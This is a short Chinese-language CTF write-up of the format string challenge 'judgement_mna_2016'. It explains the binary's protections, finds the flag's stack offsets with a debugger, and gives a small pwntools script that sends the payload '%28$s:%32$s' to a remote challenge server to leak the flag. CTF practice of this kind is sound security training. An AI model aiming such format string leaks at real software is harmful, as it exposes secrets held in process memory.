judgement_mna_2016
- 例行检查,32位程序,开启了canary和nx
- 运行一下,看看大概的情况
- 32位ida载入
- 明显的格式化字符串漏洞,动调看一下输入点的位置,找一下flag在栈上的位置,算一下偏移就能够打印出flag
先找一下输入点参数在栈上的位置
可以看到在oxffffcf4c,然后看一下栈上的布局
发现在距离我们输入的数据的偏移为28和32处存放着flag,定位偏移到该处即可
这题根本不用写exp,但为了水长度,贴一下吧
from pwn import *
context.log_level="debug"
p=remote("node3.buuoj.cn",26614)
p.sendline('%28$s:%32$s')
p.interactive()